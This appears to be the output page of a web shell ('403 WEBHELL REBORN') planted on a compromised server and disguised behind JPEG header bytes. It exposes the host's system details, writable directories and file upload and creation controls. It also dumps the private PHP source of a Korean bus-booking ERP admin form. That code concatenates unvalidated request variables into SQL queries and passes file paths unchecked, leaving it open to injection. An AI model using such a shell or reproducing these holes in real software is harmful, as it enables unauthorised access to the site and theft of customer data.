ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/erp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/erp/bus_edit_dev.php
<?
ini_set("display_errors", 1);
error_reporting(E_ALL);

include "../include/top_iframe.html";
include "_common.php";

$table = "TB_ERP_BUS";

// 견적서에서 넘어올때
if($a_idx || $x_idx){

	if($x_idx) $a_idx = $x_idx;

	$data_bus = db_fetch("select * from {$table} where a_idx='{$a_idx}'");
	if($data_bus){
		$b_idx = $data_bus['b_idx'];
	}
}

// 버스 정산 정보
if($b_idx){
	$data_bus = db_fetch("select * from {$table} where b_idx='{$b_idx}'");
	extract($data_bus);

	$profit = $total_sell_price - $total_buy_price; // 회사수익

	$mode = "수정";
	$SqlType = "edit";
} else {
	$start_date = $end_date = date('Y-m-d H:00:00');

	$mode = "등록";
	$SqlType = "insert";

	// 견적서 행사명
	if($a_idx){
		$data_erp = db_fetch("select * from TB_ERP_ALL where a_idx='{$a_idx}'");
		$schedule_name = $data_erp['good_name'];
	}
}


list($start_date, $start_time) = explode(" ", $start_date);
list($end_date, $end_time) = explode(" ", $end_date);

// 버스 회사 목록
//$bus_corp_row = get_bus_corp_list();
$rs = db_query("select * from TB_ERP_BUS_CORP where 1=1");
for($i=0 ; $i < $row = db_fetch_array($rs) ; $i++){
	$bus_corp_row[] = $row;
}
?>
<p class="pt10"><p>
<div class="iframe" style="margin:0;">
<!-- 본문 -->
<!-- 폼 -->
<form name="frm_bus_edit" id="frm_bus_edit" method="post">
<input name="SqlType" type="hidden" value="<?=$SqlType?>">
<input name="b_idx" type="hidden" value="<?=$b_idx?>">
<input name="a_idx" type="hidden" value="<?=$a_idx?>">
<input name="window" type="hidden" value="<?=$window?>">
<input name="tmp_layer_id" type="hidden" value="<?=$tmp_layer_id?>">

<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register" summary="버스 정산을 수정합니다.">
	<caption>버스 정산 <?=$mode?></caption>
	<tbody>
	<colgroup>
		<col width="120"></col>
		<col></col>
		<col width="120"></col>
		<col></col>
	</colgroup>
    <tr class="busResTr">
        <th style="border-left:1px solid #e4e4e4;border-top:1px solid #e4e4e4" scope="row">버스회사 선택</th>
		<td colspan="3">
			<select name="bc_idx" id="bc_idx" style="width:200px;" hname="버스회사" required>
				<option value="">==선택==</option>
				<? foreach($bus_corp_row as $k => $v) { ?>
				<option value="<?=$v['bc_idx']?>" <?if($v['bc_idx'] == $bc_idx) echo "selected"?>><?=$v['corp_nm']?></option>
				<?}?>
			</select>
		</td>
	</tr>
    <tr class="busResTr">
        <th style="border-left:1px solid #e4e4e4" scope="row">행사명</th>
		<td colspan="3">
			<input type="text" name="schedule_name" value="<?=$schedule_name?>" class="input_text" style="width:400px;" hname="행사명" required>
		</td>
	</tr>
    <tr class="busResTr">
        <th style="border-left:1px solid #e4e4e4" scope="row">운행일시</th>
		<td colspan="3">
			출발일시 <input type="text" name="start_date" id="start_date" class="cal_input" style="width:90px;" value="<?=$start_date?>" onclick="AjaxCal(this,event);"> <input type="text" name="start_time" value="<?=$start_time?>" class="input_text" style="width:60px;">&nbsp;
			도착일시 <input type="text" name="end_date" id="end_date" class="cal_input" style="width:90px;" value="<?=$end_date?>" onclick="AjaxCal(this,event);"> <input type="text" name="end_time" value="<?=$end_time?>" class="input_text" style="width:60px;">
		</td>
	</tr>

    <tr class="busResTr">
        <th style="border-left:1px solid #e4e4e4" scope="row">고객명</th>
        <td>
            <input type="text" name="cus_name" value="<?=$dataBusErp['cus_name']?>" style="width:150px" class="input_text">
        </td>
        <th style="width:75px;" scope="row">국적</th>
        <td>
            <input type="text" name="cus_nation" value="<?=$dataBusErp['cus_nation']?>" style="width:150px" class="input_text">
        </td>
    </tr>

    <tr class="busResTr">
        <th style="border-left:1px solid #e4e4e4" scope="row">연락처</th>
        <td>
            <input type="text" name="cus_phone" value="<?=$dataBusErp['cus_phone']?>" style="width:150px" class="input_text">
        </td>
        <th scope="row">SNS</th>
        <td>
            <input type="text" name="cus_sns" value="<?=$dataBusErp['cus_sns']?>" style="width:150px" class="input_text">
        </td>
    </tr>

    <tr class="busResTr">
        <th style="border-left:1px solid #e4e4e4" scope="row">항공편명</th>
        <td>
            <input type="text" name="cus_flight" value="<?=$dataBusErp['cus_flight']?>" style="width:150px" class="input_text">
        </td>
        <th scope="row">미팅시간</th>
        <td>
            <input type="text" name="cus_meeting_time" value="<?=$dataBusErp['cus_meeting_time']?>" style="width:150px" class="input_text">
        </td>
    </tr>

    <tr class="busResTr">
        <th style="border-left:1px solid #e4e4e4" scope="row">출발지</th>
        <td colspan="3">
            <input type="text" name="cus_depature_place" value="<?=$dataBusErp['cus_depature_place']?>" style="width:438px" class="input_text">
        </td>
    </tr>

    <tr class="busResTr">
        <th style="border-left:1px solid #e4e4e4" scope="row">도착지</th>
        <td colspan="3">
            <input type="text" name="cus_destination" value="<?=$dataBusErp['cus_destination']?>" style="width:438px" class="input_text">
        </td>
    </tr>


    <tr class="busResTr">
        <th style="border-left:1px solid #e4e4e4" scope="row">인원</th>
        <td>
            <input type="text" name="cus_people_cnt" value="<?=$dataBusErp['cus_people_cnt']?>" style="width:150px" class="input_text">
        </td>
        <th scope="row">짐가방</th>
        <td>
            <input type="text" name="cus_luggage_bag" value="<?=$dataBusErp['cus_luggage_bag']?>" style="width:150px" class="input_text">
        </td>
    </tr>

    <tr>
        <th style="border-left:1px solid #e4e4e4" scope="row">차량종류</th>
		<td><input type="text" name="bus_model" value="<?=$bus_model?>" class="input_text" style="width:150px;" hname="차량종류" required></td>
		<th scope="row">차량번호</th>
		<td><input type="text" name="bus_number" value="<?=$bus_number?>" class="input_text" style="width:150px;"></td>
	</tr>
	<tr>
        <th style="border-left:1px solid #e4e4e4" scope="row">기사명</th>
		<td><input type="text" name="driver_name" value="<?=$driver_name?>" class="input_text" style="width:150px;"></td>
		<th scope="row">기사연락처</th>
		<td><input type="text" name="driver_phone" value="<?=$driver_phone?>" class="input_text" style="width:150px;"></td>
	</tr>

    <tr>
        <th style="border-left:1px solid #e4e4e4" scope="row">판매가</th>
        <td><input name="total_sell_price" id="total_sell_price" value="<?=number_format($total_sell_price)?>" type="text" style="width:150px;" class="input_text" hname="판매가" required /></td>
        <th scope="row">공급가</th>
        <td><input name="bus_price" id="bus_price" value="<?=number_format($bus_price)?>" type="text" style="width:150px;" class="input_text calc"/></td>
    </tr>

    <tr class="busResTr">
        <th style="border-left:1px solid #e4e4e4" scope="row">스케쥴<br>(특이사항)</th>
        <td colspan="3">
            <textarea name="schedule" style="width:442px"><?=$dataBusErp['schedule']?></textarea>
            <label for="kakaoalitalk" style="margin-left:12px;position:relative;top:-3px">알림톡</label>
            <input type="checkbox" name="kakaoalitalk" id="kakaoalitalk" style="position:relative;top:-4px" />
        </td>
    </tr>


    <tr>
        <th style="border-left:1px solid #e4e4e4" scope="row">진행상태</th>
		<td colspan="3">
			<select name="esti_state">
				<option value="N" <?=($esti_state=='N')?"selected":"";?>>미정산(예약완료)</option>
				<option value="Y" <?=($esti_state=='Y')?"selected":"";?>>정산완료</option>
			</select>

			<span style="color:#F00;">*정산완료시 작성자는 정산날짜를 메모에 입력후 꼭 <b><u>영수증을 첨부</u></b>해주세요! (jpg,png)</span>
		</td>
	</tr>
	<tr>
        <th style="border-left:1px solid #e4e4e4" scope="row">메모</th>
		<td><textarea name="e_memo" id="e_memo" style="width:230px; height:70px;" class="input_text" /><?=$e_memo?></textarea></td>
		<td colspan="2" width="50%">

			<?
				for($f=1; $f<=1; $f++) {
			?>
					<img src="../../image/board/bullet_disk.gif" align="top" alt="파일첨부" />#<?=$f?>
					<input type="hidden" name="MFILE<?=$f?>" value="<?=${"MFILE".$f}?>" />

					<?if(${"MFILE".$f}){?>
					<a href="../lib/Download.php?Type=ERP&FileName=<?=${"MFILE".$f}?>&FileNameOrg=<?=urlencode($data["MFILE".$f."_org"])?>"><span class="style_3"><?=${"MFILE".$f."_org"}?></span></a>
					<img src="../image/btn/btn_delete.gif" align="top" style="cursor:pointer" alt="삭제" onclick="fnc_ImageDel('b_idx','<?=$b_idx?>','TB_ERP_BUS','MFILE<?=$f?>','<?=${"MFILE".$f}?>','/FileData/erp/');" />
					<br>
					<?
					// 이미지 파일일 경우 (20090820 )
					/*
					if (preg_match("/\.(jpg|jpe|gif|png|bmp)$/", ${"MFILE".$f})) {
						$f_target = "/FileData/erp/".${"MFILE".$f};
						$f_url = $_SERVER['DOCUMENT_ROOT'].$f_target;

						if (file_exists($f_url)) {
							// 이미지 사이즈를 구함
							$img_size = GetImageSize($f_url);
							if ($img_size[0] > 50) $img_size[0] = 50;
							echo "<img src=\"{$f_target}\" width=\"{$img_size[0]}\" onclick=\"to_dialog.image(this.src,'#{$f}');\" style=\"cursor:pointer;\"/>";
						}
					}
					*/
					?>
					<? } else { ?>
					<input type="file" name="T_UserFile<?=$f?>" class="input_file input_text" size="50" style="width:250px; height:18px;" />
					<br />
					<? } ?>
				<?
				}
				?>

		</td>
	</tr>

	</tbody>
</table>

<div style="width:90px; margin:0 auto; margin-top:15px;">
	<input type="button" value="버스 정산 <?=$mode?>" class="Tbtn red" onclick="update_frm();">
</div>

</form>
<!-- /폼 -->

<script type="text/javascript">

	$(document).ready(function(){
		/*$('.t_register .calc, #total_sell_price').on('blur', function(){
			update_price();
		});*/
	});

	/*function update_price(){
		var total_buy_price = 0;
		var total_sell_price = parseInt(replaceComma($('#total_sell_price').val()), 10);

		$('.t_register .calc').each( function() {
			total_buy_price += parseInt(replaceComma($(this).val()), 10);
		});

		$('#total_buy_price').val(total_buy_price);

		$('#profit').text(total_sell_price-total_buy_price);
	}*/

	function update_frm()
	{
		var f=document.frm_bus_edit;

		// 폼체크
		var result = to_validation(f);
		if (result == false) return false;

		if(!confirm("<?=$mode?>하시겠습니까?")) return false;

		ajax_post("","bus_proc.php","frm_bus_edit");
	}

	// 첨부파일 삭제 함수 (20090820 )
	function fnc_ImageDel(IDX_NM, MSEQ, TB_NM, FL_NM, IMG_NM, IMG_PATH) {
		if (confirm('정말 삭제하시겠습니까?')) {
			var Url = "../lib/FileDelete.php?IDX_NM=" + IDX_NM + "&MSEQ=" + MSEQ + "&TB_NM=" + TB_NM + "&FL_NM=" + FL_NM + "&IMG_NM=" + IMG_NM + "&IMG_PATH=" + IMG_PATH;
			IMGIF.location.href = Url;
		}
	}

</script>

<iframe name="IMGIF" id="IMGIF" width="0" height="0" style="display:none;"></iframe>
<?
include "../include/footer_iframe.html";
?>

Anon7 - 2021